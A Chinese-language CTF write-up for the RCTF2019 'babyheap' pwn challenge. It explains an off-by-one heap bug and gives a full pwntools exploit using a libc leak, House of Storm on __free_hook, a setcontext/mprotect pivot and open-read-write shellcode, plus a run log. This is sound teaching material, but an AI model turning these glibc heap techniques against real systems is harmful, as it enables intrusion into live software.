RCTF2019 pwn babyheap writeup

一道设置了很多障碍的题,考验选手对于漏洞的组合能力。推荐在没有tcache的环境下进行测试。

源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/rctf2019_babyheap.zip

安全防护

ex@ubuntu:~/test$ checksec babyheap
[*] '/home/ex/test/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

关闭了fastbin

`mallopt(1, 0);

禁止了SYS_execve系统调用。

if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
  puts("Could not start seccomp:");
  exit(-1);
}

溢出点

void __cdecl edit()
{
  int index_; // ST00_4
  int end; // ST04_4
  __int64 index; // [rsp+0h] [rbp-10h]

  printf("Index: ");
  LODWORD(index) = get_int();
  if ( (signed int)index >= 0 && (signed int)index <= 15 && global_ptrs[(signed int)index].calloc_ptr )
  {
    printf("Content: ", index);
    end = read_n(global_ptrs[index_].calloc_ptr, global_ptrs[index_].size);
    global_ptrs[index_].calloc_ptr[end] = 0;
    puts("Edit success :)");
  }
  else
  {
    puts("Invalid index :(");
  }
}

存在一个off by one漏洞。

思路

  1. 泄露glibc基地址
  2. House of Storm
  3. setcontext
  4. 注入shellcode

泄露glibc基地址

利用 off by one漏洞进行chunk extend,使得chunk重叠,从而读出main_arena的地址。

add(0x80) # index 0
add(0x68) # index 1
add(0xf8) # index 2
add(24) # index 3

delete(0)
edit(1,'a' * 0x60 + p64(0x100)) # set prev_size
# pause()
delete(2)

# 泄露基地址
add(0x80) # index 0
add(0x80) # index 2
delete(2)
result = show(1) 
main_arena_88_addr = u64(result.ljust(8, '\0'))
log.success("main_arena_88_addr: " + hex(main_arena_88_addr))

main_arena_addr = main_arena_88_addr - 88
log.success("main_arena_addr: " + hex(main_arena_addr))

main_arena_offset = 0x3c4b20 # 自己计算
# main_arena_offset = 0x389b20
libc_addr = main_arena_addr - main_arena_offset
log.success("libc_addr: " + hex(libc_addr))

system_addr = libc_addr + libc.symbols['system']
log.success("system_addr: " + hex(system_addr))

add(0x160) # index 2

House of Storm

构造House of Storm漏洞,控制__free_hook

add(0x18)  # 4
add(0x508)  # 5
add(0x18)  # 6
add(0x18)  # 7
add(0x508)  # 8
add(0x18)  # 9
add(0x18)  # 10

# 改pre_size域为 0x500 ,为了能过检查
edit(5, 'a'*0x4f0 + p64(0x500))
# 释放5号块到unsort bin 此时chunk size=0x510
# 6号的prev_size 为 0x510
delete(5)

# off by null 将5号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit(4, 'a'*(0x18))

add(0x18)  # 5  从unsorted bin上面割下来的
add(0x4d8)  # 11 为了和 5 重叠

delete(5)
delete(6)  # unlink进行前向extend

# 6号块与11号块交叠,可以通过11号块修改6号块的内容
add(0x30)  # 5
add(0x4e8)  # 6

# 原理同上
edit(8, 'a'*(0x4f0) + p64(0x500))
delete(8)
edit(7, 'a'*(0x18))
add(0x18)  # 8
add(0x4d8)  # 12
delete(8)
delete(9)
add(0x40)  # 8

# 将6号块和8号块分别加入unsort bin和large bin
delete(6)
# pause()
add(0x4e8)    # 6
delete(6)

__free_hook_offset = 0x3c67a8
__free_hook_addr =  libc_addr + __free_hook_offset # main_arena_addr - 16

storage = __free_hook_addr
fake_chunk = storage - 0x20

# 伪造fake_chunk
layout = [
    '\x00' * 16,  # 填充16个没必要的字节
    p64(0),  # fake_chunk->prev_size
    p64(0x4f1),  # fake_chunk->size
    p64(0),  # fake_chunk->fd
    p64(fake_chunk)  # fake_chunk->bk
]

# 修改unsorted bin 中的内容
edit(11, flat(layout))

layout = [
    '\x00' * 32,  # 32 字节偏移
    p64(0),  # fake_chunk2->prev_size
    p64(0x4e1),  # fake_chunk2->size
    p64(0),  # fake_chunk2->fd
    # 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
    p64(fake_chunk + 8),  # fake_chunk2->bk
    p64(0),  # fake_chunk2->fd_nextsize
    # 用于使用错误对齐技巧创建假块的“大小”
    p64(fake_chunk - 0x18 - 5)  # fake_chunk2->bk_nextsize
]

# 修改large bin 中的内容
edit(12, flat(layout))

# pause()

add(0x48)  # 6

House of Storm 受随机化影响,并不能保证每次都成功。

setcontext

__free_hook地址设置为setcontext函数,从而控制程序流执行mprotect函数把__free_hook所在内存也修改为可执行,然后读入我们新的shellcode,在跳到新的shellcode去执行。

new_execve_env = __free_hook_addr & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
''' % new_execve_env

edit(6, 'a' * 0x10 + p64(libc_addr + libc.symbols['setcontext'] + 53) + p64(__free_hook_addr + 0x10) + asm(shellcode1))

pause()

# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = __free_hook_addr + 8
frame.rip = libc_addr + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1

edit(12, str(frame))
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline('12')

注入shellcode

mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;// 置0就行
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd 
mov rsi,rsp  ;// 读到栈上
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd 
mov rsi, rsp ;// buf
mov rdx, rax ;// count 
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall

这样我们就能得到flag了。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./babyheap')
# sh = remote('123.206.174.203', 20001)
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# context.log_level = "debug"
context.arch = "amd64"

# 创建pid文件,用于gdb调试
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

def add(size):
    sh.sendline('1')
    sh.recvuntil('Size: ')
    sh.sendline(str(size))
    sh.recvuntil('Choice: \n')

def edit(index, content):
    sh.sendline('2')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    sh.recvuntil('Content: ')
    sh.send(content)
    sh.recvuntil('Choice: \n')

def delete(index):
    sh.sendline('3')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    sh.recvuntil('Choice: \n')

def show(index):
    sh.sendline('4')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    result = sh.recvuntil('\n')
    sh.recvuntil('Choice: \n')
    return result[:-1]

# 清除流
sh.recvuntil('Choice: \n')

# chunk extend
add(0x80) # index 0
add(0x68) # index 1
add(0xf8) # index 2
add(24) # index 3

delete(0)
edit(1,'a' * 0x60 + p64(0x100)) # set prev_size
# pause()
delete(2)

# 泄露基地址
add(0x80) # index 0
add(0x80) # index 2
delete(2)
result = show(1) 
main_arena_88_addr = u64(result.ljust(8, '\0'))
log.success("main_arena_88_addr: " + hex(main_arena_88_addr))

main_arena_addr = main_arena_88_addr - 88
log.success("main_arena_addr: " + hex(main_arena_addr))

main_arena_offset = 0x3c4b20 # 自己计算
# main_arena_offset = 0x389b20
libc_addr = main_arena_addr - main_arena_offset
log.success("libc_addr: " + hex(libc_addr))

system_addr = libc_addr + libc.symbols['system']
log.success("system_addr: " + hex(system_addr))

add(0x160) # index 2

# 劫持 free_hook
add(0x18)  # 4
add(0x508)  # 5
add(0x18)  # 6
add(0x18)  # 7
add(0x508)  # 8
add(0x18)  # 9
add(0x18)  # 10

# 改pre_size域为 0x500 ,为了能过检查
edit(5, 'a'*0x4f0 + p64(0x500))
# 释放5号块到unsort bin 此时chunk size=0x510
# 6号的prev_size 为 0x510
delete(5)

# off by null 将5号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit(4, 'a'*(0x18))

add(0x18)  # 5  从unsorted bin上面割下来的
add(0x4d8)  # 11 为了和 5 重叠

delete(5)
delete(6)  # unlink进行前向extend

# 6号块与11号块交叠,可以通过11号块修改6号块的内容
add(0x30)  # 5
add(0x4e8)  # 6

# 原理同上
edit(8, 'a'*(0x4f0) + p64(0x500))
delete(8)
edit(7, 'a'*(0x18))
add(0x18)  # 8
add(0x4d8)  # 12
delete(8)
delete(9)
add(0x40)  # 8

# 将6号块和8号块分别加入unsort bin和large bin
delete(6)
# pause()
add(0x4e8)    # 6
delete(6)

__free_hook_offset = 0x3c67a8
__free_hook_addr =  libc_addr + __free_hook_offset # main_arena_addr - 16

storage = __free_hook_addr
fake_chunk = storage - 0x20

# 伪造fake_chunk
layout = [
    '\x00' * 16,  # 填充16个没必要的字节
    p64(0),  # fake_chunk->prev_size
    p64(0x4f1),  # fake_chunk->size
    p64(0),  # fake_chunk->fd
    p64(fake_chunk)  # fake_chunk->bk
]

# 修改unsorted bin 中的内容
edit(11, flat(layout))

layout = [
    '\x00' * 32,  # 32 字节偏移
    p64(0),  # fake_chunk2->prev_size
    p64(0x4e1),  # fake_chunk2->size
    p64(0),  # fake_chunk2->fd
    # 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
    p64(fake_chunk + 8),  # fake_chunk2->bk
    p64(0),  # fake_chunk2->fd_nextsize
    # 用于使用错误对齐技巧创建假块的“大小”
    p64(fake_chunk - 0x18 - 5)  # fake_chunk2->bk_nextsize
]

# 修改large bin 中的内容
edit(12, flat(layout))

# pause()

add(0x48)  # 6

new_execve_env = __free_hook_addr & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
''' % new_execve_env

edit(6, 'a' * 0x10 + p64(libc_addr + libc.symbols['setcontext'] + 53) + p64(__free_hook_addr + 0x10) + asm(shellcode1))

# pause()

# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = __free_hook_addr + 8
frame.rip = libc_addr + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1

edit(12, str(frame))
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline('12')

shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;// 置0就行
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd 
mov rsi,rsp  ;// 读到栈上
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd 
mov rsi, rsp ;// buf
mov rdx, rax ;// count 
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''

sh.send(asm(shellcode2))

print(sh.recv())

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@ubuntu:~/test$ echo 123456789 > flag
ex@ubuntu:~/test$ python2 exp.py 
[+] Starting local process './babyheap': pid 2981
[*] '/home/ex/test/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] main_arena_88_addr: 0x7f119c078b78
[+] main_arena_addr: 0x7f119c078b20
[+] libc_addr: 0x7f119bcb4000
[+] system_addr: 0x7f119bcf9390
[*] Process './babyheap' stopped with exit code 0 (pid 2981)
123456789

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 

总结

主要是考察综合能力。

资料来源:https://n132.github.io/2019/05/21/2019-06-21-RCTF2019-Babyheap/#House-of-Storm